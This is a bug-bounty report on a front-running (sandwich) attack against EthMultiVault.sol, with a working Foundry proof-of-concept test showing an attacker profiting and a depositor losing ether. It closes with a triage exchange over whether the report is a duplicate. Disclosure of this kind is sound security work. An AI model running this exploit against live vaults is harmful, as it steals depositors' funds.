Attacker can steal funds of the depositors

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0x96e5c9cb59c0323746aff81d55e77aaed85bde2387e7468a609c6163913b0f64 Severity: high

Description: Description

attacker can front-run any deposit and steal fraction of their deposits,

in EthMultiVault.sol attacker can just front-run the user who wants to deposit funds and then just call redeemAtom() and end up having more money and user who just deposited afterwards will end up getting less asset if redeem his shares.

the sandwiching process occurs in this scenario because there is no protection for massive change in value of the shares like time-weighted value calculation.

and because of loss of funds + profit for attacker we label it as High severity bug

Attack Scenario

• Bob deposits 100 ether
• attacker front-run Bobs and deposits 1 ether
• attacker redeem his shares
• Bob redeem his shares
• attacker gained ≈ 0.044 eth

• Bob lost ≈ 0.23 eth

  Proof of Concept (PoC)

• add this function to /test/unit/EthMultiVault/DepositAtom.t.sol
• run with forge test --mt testFrontrunAttackPOC -vvv

function testFrontrunAttackPOC() external {
        // prank call from alice
        vm.startPrank(alice);

        // test addresses
        address attacker = makeAddr("attacker");
        address bob = makeAddr("bob");
        address normalUser = makeAddr("normalUser");

        deal(attacker, 1 ether);
        deal(bob, 100 ether);
        deal(normalUser, 101 ether);

        // execute interaction - create atoms
        uint256 id = ethMultiVault.createAtom{value: getAtomCost()}("atom1");

        vm.stopPrank();

        vm.startPrank(normalUser);
        // normalUser deposits 100 eth
        ethMultiVault.depositAtom{value: 100 ether}(address(normalUser), id);

        // normalUser redeems 100 eth
        uint256 sharesGotNormalUser = ethMultiVault.maxRedeem(address(normalUser), id);
        uint256 normalUserAssets = ethMultiVault.redeemAtom(sharesGotNormalUser, address(normalUser), id);

        // normalUser deposits 1 eth
        ethMultiVault.depositAtom{value: 1 ether}(address(normalUser), id);

        // normalUser redeems 1 eth
        uint256 sharesGotNormalUser2 = ethMultiVault.maxRedeem(address(normalUser), id);
        uint256 normalUserAssets2 = ethMultiVault.redeemAtom(sharesGotNormalUser2, address(normalUser), id);

        vm.stopPrank();

        // attacker front-run bob and deposits 1 ether
        vm.startPrank(attacker);
        ethMultiVault.depositAtom{value: 1 ether}(address(attacker), id);
        vm.stopPrank();

        // bob deposits 100 ether
        vm.startPrank(bob);
        ethMultiVault.depositAtom{value: 100 ether}(address(bob), id);
        vm.stopPrank();

        //attacker redeem his shares
        vm.startPrank(attacker);
        uint256 sharesGotAttacker = ethMultiVault.maxRedeem(address(attacker), id);
        uint256 attackerAssets = ethMultiVault.redeemAtom(sharesGotAttacker, address(attacker), id);
        vm.stopPrank();

        // bob redeem his shares
        vm.startPrank(bob);
        uint256 sharesGotBob = ethMultiVault.maxRedeem(address(bob), id);
        uint256 bobAssets = ethMultiVault.redeemAtom(sharesGotBob, address(bob), id);
        vm.stopPrank();

        console.log("Normal User 1 eth Redeem Amount: ", normalUserAssets2);
        console.log("Attacker 1 eth Redeem Amount:", attackerAssets);
        console.log("Normal User 100 eth Redeem Amount: ", normalUserAssets);
        console.log("Bob 100 eth Redeem Amount:", bobAssets);

        // bob LOSS ≈ 0.23 eth
        uint256 bobLoss = (normalUserAssets - bobAssets);
        console.log("Bob Loss:", bobLoss);

        // attacker PROFIT ≈ 0.044 eth
        uint256 attackerProfit = (attackerAssets - normalUserAssets2);
        console.log("Attacker Profit:", attackerProfit);
    }

[mihailo-maksa]

Duplicate of issue #37.

[0xarshia]

Hey first of all this issue is not duplicate of the issue you mentioned because the reason is he just reported lack of slippage functionality ( which is different) and i reported the wrong calculation of the values of share

will victim lose money in this case? absolutly we just Done it in POC that we provided

will attacker make profit off ot it? absolutly how? poc

and the migtigation would be implementing the time-weighted valuation mechanism which will not affect the value of the shares drasticly in a single moment like that case.

we think the review of this issue has lack of attention and its not duplicate of the issue he provided because there is no mention of this attack vector in his report and nor recommendation of our + poc

in this issue if you run POC, you will see attacker with front-running ends up with profit and loss of funds for victim while attacker provided value is significantly less than victim, because step-wise jump happens in share price while according to erc-4626 doc (https://eips.ethereum.org/EIPS/eip-4626) you should consider time-weighted implementation.

this issue is not duplicate of #37.

sincerely.